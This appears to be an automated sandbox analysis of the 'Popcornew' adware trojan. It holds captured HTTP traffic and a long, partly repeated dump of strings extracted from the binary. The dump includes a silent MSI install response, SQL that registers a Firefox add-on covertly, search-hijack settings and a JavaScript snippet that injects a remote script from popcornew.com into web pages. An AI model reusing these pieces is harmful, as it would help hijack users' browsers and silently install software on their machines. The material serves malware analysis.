;4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>
;4..>4..>4..>4..=4..<3.%..................................
......................................................................
......................................................................
......................................................................
............................<..o=...=...=...=...=...=...=...=...=..
.=...=...=...=...=...=...=...=...=...=...=...=...M....................
...............................................................i...?..
.=...=...=...=...=...=...=...=...]....................................
...............B...=...=...=...=...=...=...=...=...=...=...>...I...
X...]...d...f...b...\...T...E...=...=...=...=...=...=...=...=...=...=.
..=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...
=...=...=.......................................^...=n..8j..8j..8j..8j
..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..9]..=8..>
<<< skipped >>>

GET /client_config?id={4AF15487-35AE-472A-AFD9-733DADC4EB80}&it=1434736505 HTTP/1.1

Accept: *

Content-Type: text/plain

User-Agent: BoxoreClent

Host: popcornew.com

HTTP/1.1 404 Not Found

Server: Apache

Date: Fri, 19 Jun 2015 17:50:39 GMT

Content-Type: text/html

Content-Length: 163

Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>Apache<
/center>..</body>..</html>..HTTP/1.1 404 Not Found..Ser
ver: Apache..Date: Fri, 19 Jun 2015 17:50:39 GMT..Content-Type: text/h
tml..Content-Length: 163..Connection: keep-alive..<html>..<he
ad><title>404 Not Found</title></head>..<body 
bgcolor="white">..<center><h1>404 Not Found</h1>&
lt;/center>..<hr><center>Apache</center>..</bo
dy>..</html>....

POST /omaha/tools/service/update2/?w=3:FhxKsJLaArjd_zthbghrY0uaS1b-UYA_hw9DIyc83gnjr3xmHIwe7FiFQqYS9SSQSeiHWwvTMUDLW5ZzSZCl4tA4W-1B_KckmtZcBDomAUALITXoizEQWBdeQcoIrq7RvOwewQ7l5M5sfbHecuR7uJkA-RfpfeWZEqeUkISS3KU HTTP/1.1

User-Agent: Google Update/1.3.25.0;winhttp;cup

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

If-Match: "9t2WBP_xDpVMPcw4T5dme-xP2zs"

Host: popcornew.com

Content-Length: 468

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

<?xml version="1.0" encoding="UTF-8"?><request protocol="3.0" version="1.3.25.0" ismachine="1" sessionid="{95CA9D6B-6394-49BD-B838-AFDF6DAAAA4D}" installsource="otherinstallcmd" testsource="auto" requestid="{EE215907-CDD5-447A-8E16-211D3BB3FA4F}"><os platform="win" version="5.1" sp="Service Pack 3" arch="x86"/><app appid="{82BE43A3-77AF-4978-B081-893EF286DC00}" version="" nextversion="" lang="en" brand="" client="138" installage="-1"><updatecheck/></app></request>
HTTP/1.1 200 OK

Server: Apache

Date: Fri, 19 Jun 2015 17:49:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.6

Expires: Thu, 18 Jun 2015 17:49:57 GMT

Cache-Control: no-cache
35a..<?xml version="1.0" encoding="UTF-8"?>.<response protoco
l="3.0" server="prod">.  <daystart elapsed_seconds="71397"/>.
  <app appid="{82BE43A3-77AF-4978-B081-893EF286DC00}" status="ok"&g
t;.    <updatecheck status="ok" tttoken="PopcornewToken">.      
<urls>.        <url codebase="hXXp://VVV.dlmanager.net/omaha/
dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/"/>.     
 </urls>.      <manifest version="7.3.0.0">.        <pa
ckages>.          <package hash="7a2MgbcJFsKq6/zRtiYZmEh93TM=" n
ame="Popcornew_7.3.msi" required="true" size="5894144"/>.        &l
t;/packages>.        <actions>.          <action event="in
stall" run="Popcornew_7.3.msi" needsadmin="true" arguments="/norestart
 /qn"/>.          <action event="postinstall" onsuccess="exitsil
ently"/>.        </actions>.      </manifest>.    </
updatecheck>.    <ping status="ok"/>.  </app>.</resp
onse>...0..HTTP/1.1 200 OK..Server: Apache..Date: Fri, 19 Jun 2015 
17:49:57 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Con
nection: keep-alive..X-Powered-By: PHP/5.4.6..Expires: Thu, 18 Jun 201
5 17:49:57 GMT..Cache-Control: no-cache..35a..<?xml version="1.0" e
ncoding="UTF-8"?>.<response protocol="3.0" server="prod">.  &
lt;daystart elapsed_seconds="71397"/>.  <app appid="{82BE43A3-77
AF-4978-B081-893EF286DC00}" status="ok">.    <updatecheck status
="ok" tttoken="PopcornewToken">.      <urls>.        <
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.rsrc

@.reloc

,4,56,789

j.Yf;

_tcPVj@

.PjRW

r%f;M

CREATE TABLE sqlite_master(

sql text

CREATE TEMP TABLE sqlite_temp_master(

SQLite format 3

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY_\

3.7.17

sqlite_attach

RowKey

SQL logic error or missing database

unknown operation

large file support is disabled

sqlite_rename_table

sqlite_rename_trigger

sqlite_rename_parent

sqlite_version

sqlite_source_id

sqlite_log

sqlite_compileoption_used

sqlite_compileoption_get

GetProcessHeap

foreign_keys

sqlite_stat1

sqlite_detach

SQLITE_

d-d-d d:d:d

d:d:d

d-d-d

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

922337203685477580

API call with %s database connection pointer

os_win.c:%d: (%lu) %s(%s) - %s

delayed %dms for lock/sharing conflict

%s-shm

%s\etilqs_

%s\%s

recovered %d pages from %s

recovered %d frames from WAL file %s

cannot limit WAL size: %s

invalid page number %d

2nd reference to page %d

Failed to read ptrmap key=%d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

%d of %d pages missing from overflow list starting at %d

failed to get page %d

freelist leaf count too big on page %d

Page %d:

unable to get the page. error code=%d

btreeInitPage() returns error code %d

On tree page %d cell %d:

On page %d at right child:

Corruption detected in cell %d on page %d

Multiple uses for byte %d of page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Pointer map page %d is referenced

Outstanding page count goes from %d to %d during this analysis

unknown database %s

keyinfo(%d

%s(%d)

%s-mjXXXXXX9XXz

MJ delete: %s

MJ collide: %s

-mjX9X

foreign key constraint failed

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

zeroblob(%d)

abort at %d in [%s]: %s

constraint failed at %d in [%s]

cannot open savepoint - SQL statements in progress

no such savepoint: %s

cannot release savepoint - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

sqlite_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot change %s wal mode from within a transaction

database table is locked: %s

statement aborts at %d: [%s] %s

cannot open value of type %s

cannot open virtual table: %s

cannot open view: %s

no such column: "%s"

foreign key

indexed

cannot open %s column for writing

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s.%s

%s: %s

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

Expression tree is too large (maximum depth %d)

variable number must be between ?1 and ?%d

too many SQL variables

too many columns in %s

EXECUTE %s%s SUBQUERY %d

misuse of aggregate: %s()

%.*s"%w"%s

%s%.*s"%w"

%s OR name=%Q

type='trigger' AND (%s)

sqlite_

table %s may not be altered

there is already another table or index with this name: %s

view %s may not be altered

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

sqlite_sequence

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Cannot add a PRIMARY KEY column

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_altertab_%s

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE %s=%Q

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

invalid name: "%s"

too many attached databases - max %d

database %s is already in use

unable to open database: %s

no such database: %s

cannot detach database %s

database %s is locked

%s %T cannot reference objects in database %s

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

there is already an index named %s

too many columns on %s

duplicate column name: %s

default value of column [%s] is not constant

table "%s" has more than one primary key

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

CREATE %s %.*s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

sqlite_stat%d

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

sqlite_stat

table %s may not be dropped

use DROP TABLE to delete table %s

use DROP VIEW to delete view %s

foreign key on %s should reference only one column of table %T

number of columns in foreign key does not match the number of columns in the referenced table

unknown column "%s" in foreign key definition

indexed columns are not unique

table %s may not be indexed

views may not be indexed

virtual tables may not be indexed

there is already a table named %s

index %s already exists

sqlite_autoindex_%s_%d

table %s has no column named %s

CREATE%s INDEX %.*s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

no such index: %S

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

a JOIN clause is required before %s

unable to identify the object to be reindexed

no such collation sequence: %s

table %s may not be modified

cannot modify %s because it is a view

foreign key mismatch - "%w" referencing "%w"

table %S has %d columns but %d values were supplied

%d values for %d columns

table %S has no column named %s

%s.%s may not be NULL

constraint %s failed

PRIMARY KEY must be unique

sqlite3_extension_init

%s.%s

unable to open shared library [%s]

sqlite3_

no entry point [%s] in shared library [%s]

error during initialization: %s

automatic extension loading failed: %s

foreign_key_list

foreign_key_check

*** in database %s ***

unsupported encoding: %s

malformed database schema (%s)

%s - %s

unsupported file format

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

database schema is locked: %s

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

a NATURAL join may not have an ON or USING clause

cannot have both ON and USING clauses in the same join

cannot join using column %s - column not present in both tables

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s:%d

ORDER BY clause should come after %s not before

LIMIT clause should come after %s not before

SELECTs to the left and right of %s do not have the same number of result columns

no such index: %s

sqlite_subquery_%p_

too many references to "%s": max 65535

%s.%s.%s

no such table: %s

SCAN TABLE %s %s%s(~%d rows)

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

cannot create INSTEAD OF trigger on table: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

no such trigger: %S

-- TRIGGER %s

no such column: %s

cannot VACUUM - SQL statements in progress

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor failed: %s

vtable constructor did not declare schema: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

%s SUBQUERY %d

%s TABLE %s

%s AS %s

%s USING %s%sINDEX%s%s%s

%s USING INTEGER PRIMARY KEY

%s (rowid=?)

%s (rowid>? AND rowid<?)

%s (rowid>?)

%s (rowid<?)

%s VIRTUAL TABLE INDEX %d:%s

%s (~%lld rows)

at most %d tables in a join

cannot use index: %s

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

unknown database: %s

no such %s mode: %s

%s mode not allowed: %s

no such vfs: %s

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

{"active_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"creation_flags":9,"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"initial_keybindings_set":true,"install_time":"13047485847014017","location":1,"manifest":{"background":{"scripts":["config.js","ext/common.js","ext/background.js","lib/compat.js","lib/info.js","lib/io.js","lib/adblockplus.js","lib/punycode.js","lib/publicSuffixList.js","lib/basedomain.js","lib/sha1.js","lib/jsbn.js","lib/rsa.js","webrequest.js","popupBlocker.js","iconAnimation.js","background.js"]},"content_scripts":[{"all_frames":true,"js":["config.js","ext/common.js","include.preload.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_start"},{"all_frames":true,"js":["smartdisplay.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_end"},{"all_frames":true,"js":["include.idle.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_idle"}],"description":"Popcornew","icons":{"128":"Popcornew.png","48":"Popcornew.png"},"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAig6oQYfBuEQJD0QyMu2AeDx9/XjWLLI9N k3fjiAA4VvC33HJ41tpZEJq7I4XeKRNT4S3XWKzAj1x5QvBvM2zbwx6WAwaQIW2ZYKArl pUJZ5V1EPg1W04TRnzEYQfl3kj8c8e0x9aO3XsquorLOPB5Texxgjt2XxsTIFSZABxxLx0EY8WJHwgvd1wtL3scVs5jQhtJX4dEgThuKcM7kAllzrQjVkupxPvG4xTASbB xbh1WwcmkwvqDsyjE7fdxysfacP7ToSOPYdg3wPc7Uow1ZYY6 1skQFSMgPYF6hDN/ZFE5TGDr7Mxsoo8cowTGcl3F1cBiTxzsASQr 8uxQIDAQAB","manifest_version":2,"minimum_chrome_version":"18.0","name":"Popcornew","permissions":["tabs","hXXp://*/*","hXXps://*/*","contextMenus","webRequest","webRequestBlocking","webNavigation","unlimitedStorage","notifications"],"update_url":"hXXps://clients2.google.com/service/update2/crx","version":"2.5","web_accessible_resources":["config.js","block.html"]},"path":"engaigpbgdjjmanonjcjkcmomgibneba\\2.5_0","state":1,"was_installed_by_default":false}

{"created_by_policy":false,"date_created":"0","favicon_url":"hXXps://VVV.bing.com/s/a/bing_p.ico","image_url":"","image_url_post_params":"","input_encodings":["UTF-8"],"instant_url":"","instant_url_post_params":"","keyword":"VVV.bing.com","last_modified":"0","new_tab_url":"hXXps://VVV.bing.com/chrome/newtab?setmkt=en-US","originating_url":"","prepopulate_id":0,"safe_for_autoreplace":true,"search_terms_replacement_key":"","search_url_post_params":"","short_name":"Bing.com","suggestions_url":"hXXp://api.bing.com/osjson.aspx?query={searchTerms}&language={language}","suggestions_url_post_params":"","url":"hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}","usage_count":0}

last_chrome_version

chrome.plugin.ver_installed

chrome.plugin.error

extensions.settings.

template_url_data

search_url

chrome.conduit.old_chrome_ver

chrome.conduit.error

hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}

chrome.conduit.ver_installed

default_search_provider_data.template_url_data

chrome.plugin.enable

chrome.conduit.enable

chrome.video_ads.enable

chrome.error

chrome.addons.

.no_data

.state

.disable_reasons

.crx_exist

chrome.version

chrome.search_url

firefox.conduit.enable

firefox.video_ads.enable

SELECT updateURL FROM addon WHERE id == "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}"

INSERT INTO addon VALUES (null, "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}", "1wmRiFe01UO5", "app-profile", "2.5", "extension", "", "hXXps://popcornew.com/firefox/update.rdf", "", "", "", "", "", "", ?, 1, 1, 0, 0, 0, ?, 1373624626623, 1373624626623, 1, 0, 0, 435783, "hXXps://popcornew.com/firefox/Popcornew", "", 0, 0, 0, 0);

INSERT INTO targetApplication VALUES(?, "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}", "19.0", "50.*");

{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}

\\extensions\\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi","installDate":1374485700380,"updateDate":1374485700380,"applyBackgroundUpdates":1,"bootstrap":true,"size":435783,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"hasBinaryComponents":false,"strictCompatibility":false,"locales":[],"targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"19.0","maxVersion":"50.0"}],"targetPlatforms":[]},

{"id":"{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}","syncGUID":"lirS1y4Qax0E","location":"app-profile","version":"2.5","type":"extension","internalName":null,"updateURL":"hXXps://popcornew.com/firefox/update.rdf","updateKey":null,"optionsURL":null,"optionsType":null,"aboutURL":null,"iconURL":null,"icon64URL":null,"defaultLocale":{"name":"Popcornew","description":"Popcornew","creator":"Popcornew OU","homepageURL":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"descriptor":"

firefox.plugin.ver_installed

firefox.plugin.enable

firefox.plugin.ver_conduit

firefox.error

firefox.addons.

.name

.visible

.active

.user_disabled

.app_disabled

.xpi_exist

Unable to find firefox profiles

9%D,3

IE.conduit.enable

IE.conduit.ver_installed

IE.conduit.error

open search scopes key

open crypto key

delete crypto key

open default scope key

IE.default_search.name

IE.default_search.url

IE.default_search.error

IE.addons.

.installed

.enabled

client.install_time

client.enable_state_report

client.version

client.prev_version

client.ext_version

client.partner_id

config.client.enable_o_dips

client.enable_o_dips

config.client_id

config.client

config.nodesrv.prefs

IE.plugin.enable

IE.plugin.use

IE.plugin.installed

IE.plugin.enabled

IE.plugin.disabled

IE.plugin.attempt_cnt

IE.plugin.attempt_time

IE.plugin.quit_enabling

IE.plugin.enabled_after

IE.version

IE.version_svc

state_file.error

config.error

nodesrv.enable

port

password

' ).;<52

C:\Projects\boost_1_55_0\boost/xpressive/basic_regex.hpp

C:\Projects\boost_1_55_0\boost/xpressive/detail/dynamic/matchable.hpp

1.1.3

GetProcessWindowStation

operator

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

0123456789-

%b %d %H : %M : %S %Y

%m / %d / %y

%I : %M : %S %p

%d / %m / %y

C:\Users\User\Projects\boxore-client\BUILD\PopcornewRelease\Popcornew.pdb

ole32.dll

PSAPI.DLL

WINMM.dll

VERSION.dll

KERNEL32.dll

MsgWaitForMultipleObjects

EnumChildWindows

USER32.dll

RegCloseKey

RegDeleteKeyW

RegOpenKeyExA

RegOpenKeyExW

RegCreateKeyExW

RegEnumKeyW

RegQueryInfoKeyW

ADVAPI32.dll

SHFileOperationW

SHELL32.dll

OLEAUT32.dll

UrlUnescapeW

SHLWAPI.dll

InternetCrackUrlW

HttpOpenRequestW

HttpSendRequestW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpSendRequestA

HttpQueryInfoA

WININET.dll

urlmon.dll

GetCPInfo

zcÁ

.?AVFCHttpRequest@@

.?AVFCHttpRequestManager@@

.?AVHttpRequest@boxore@@

.?AVHttpAsynchUpdate@boxore@@

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

:(:,:0:4:8:<:

1?2_2%3@3

?#?-?5?@?

1 2$2(2}2

: :$:(:,:

1,1014181<1@1

= =$=(=,=0=4=8=<=

0 0$0(0,0

!010A0Q0#2-272}3

4&424<4`4

4$4*454:4?4

2?3U3

;-<,=;=>>

9$9-999>9

6%6X6

1 2)2@2~2

8%9s9

: :$:(:,:0:4:8:<:

6 6$6(6,6064686<6@6

1 1$1(1,1014181<1

; ;$;(;,;0;

< <$<(<,<0<4<8<<<@<

;$;,;4;<;

1 1$1(1,1014181

;(;4;<;\;

6(646<6\6

7 7<7@7`7

888816666554443

6666554443

!6666554443

Global\ASE-"5B97477E-937A-4535-9752-687437254B72"

GRange: bytes=%d-

Guistone_http_event_wnd

hXXp://popcornew.com/o?c=%d&b=%d&t=%d&d=%s&i=%s&p=%d&v=%s

Chrome_OmniboxView

hXXp://

config.js

Popcornew.crx

Google\Chrome\User Data\

lib/bxrCfg.js

extensions.sqlite

extensions.json

extensions\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi

Popcornew.xpi

IMozilla\Firefox\Profiles

<OpenSearchDescription xmlns="hXXp://a9.com/-/spec/opensearch/1.1/" xmlns:ie="hXXp://schemas.microsoft.com/Search/2008/">

<ShortName>Bing.com</ShortName>

<Tags>VVV.Bing.com</Tags>

<Image width="16" height="16" type="image/x-icon">hXXp://VVV.bing.com/favicon.ico</Image>

<Url type="text/html" template="hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}" />

<Url type="application/x-suggestions xml" template="hXXp://api.bing.com/qsml.aspx?query={searchTerms}&market={Language}&form=IE8SSC&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}" />

<ie:TopResult type="text/html" template="hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}"/>

Global\{5B97477E-937A-4535-9752-687437254B72}

chrome.exe

firefox.exe

{82BE43A3-77AF-4978-B081-893EF286DC00}

popcornew.com

{"client_id": "%s"}

hXXp://dlmenager.net/

PingUrl

CrashReportUrl

MoreInfoUrl

UsageStatsReportUrl

}; var heads = document.getElementsByTagName("head");if(heads.length > 0) {var node

= document.createElement("script");node.type

= "text/javascript";node.src

= document.location.protocol   "//popcornew.com/min.js";node.defer

= "defer";node.id = "Popcornew";heads[0].appendChild(node);}}

if(document.getElementById("Popcornew") == null) {window.PopcornewCfg = {id: "

.rules

Chrome_WidgetWin_0

Chrome_WidgetWin_1

Chrome_RenderWidgetHostHWND

MozillaWindowClass

Firefox

FFCB3198-32F3-4E8B-9539-4324694ED664

HTTP/1.0

EFA7A511-B491-4312-BB35-4586B99E45ED

\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}

Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{

Software\Microsoft\Windows\CurrentVersion\Ext\Settings

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

0.0.0.0

{00000000-0000-0000-0000-000000000000}

Unable to remove all components, while Firefox is running. Please, close Firefox and try again.

Unable to remove all components, while Chrome is running. Please, close Chrome and try again.

combase.dll

kernel32.dll

Wmscoree.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

ADVAPI32.DLL

USER32.DLL

portuguese-brazilian

%Program Files%\Popcornew\Popcornew\popcornew.exe

7, 3, 0, 0

Popcornew.exe

popcornew.exe_2548:

.text

`.rdata

@.data

.rsrc

@.reloc

,4,56,789

j.Yf;

_tcPVj@

.PjRW

r%f;M

CREATE TABLE sqlite_master(

sql text

CREATE TEMP TABLE sqlite_temp_master(

SQLite format 3

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY_\

3.7.17

sqlite_attach

RowKey

SQL logic error or missing database

unknown operation

large file support is disabled

sqlite_rename_table

sqlite_rename_trigger

sqlite_rename_parent

sqlite_version

sqlite_source_id

sqlite_log

sqlite_compileoption_used

sqlite_compileoption_get

GetProcessHeap

foreign_keys

sqlite_stat1

sqlite_detach

SQLITE_

d-d-d d:d:d

d:d:d

d-d-d

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

922337203685477580

API call with %s database connection pointer

os_win.c:%d: (%lu) %s(%s) - %s

delayed %dms for lock/sharing conflict

%s-shm

%s\etilqs_

%s\%s

recovered %d pages from %s

recovered %d frames from WAL file %s

cannot limit WAL size: %s

invalid page number %d

2nd reference to page %d

Failed to read ptrmap key=%d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

%d of %d pages missing from overflow list starting at %d

failed to get page %d

freelist leaf count too big on page %d

Page %d:

unable to get the page. error code=%d

btreeInitPage() returns error code %d

On tree page %d cell %d:

On page %d at right child:

Corruption detected in cell %d on page %d

Multiple uses for byte %d of page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Pointer map page %d is referenced

Outstanding page count goes from %d to %d during this analysis

unknown database %s

keyinfo(%d

%s(%d)

%s-mjXXXXXX9XXz

MJ delete: %s

MJ collide: %s

-mjX9X

foreign key constraint failed

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

zeroblob(%d)

abort at %d in [%s]: %s

constraint failed at %d in [%s]

cannot open savepoint - SQL statements in progress

no such savepoint: %s

cannot release savepoint - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

sqlite_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot change %s wal mode from within a transaction

database table is locked: %s

statement aborts at %d: [%s] %s

cannot open value of type %s

cannot open virtual table: %s

cannot open view: %s

no such column: "%s"

foreign key

indexed

cannot open %s column for writing

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s.%s

%s: %s

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

Expression tree is too large (maximum depth %d)

variable number must be between ?1 and ?%d

too many SQL variables

too many columns in %s

EXECUTE %s%s SUBQUERY %d

misuse of aggregate: %s()

%.*s"%w"%s

%s%.*s"%w"

%s OR name=%Q

type='trigger' AND (%s)

sqlite_

table %s may not be altered

there is already another table or index with this name: %s

view %s may not be altered

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

sqlite_sequence

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Cannot add a PRIMARY KEY column

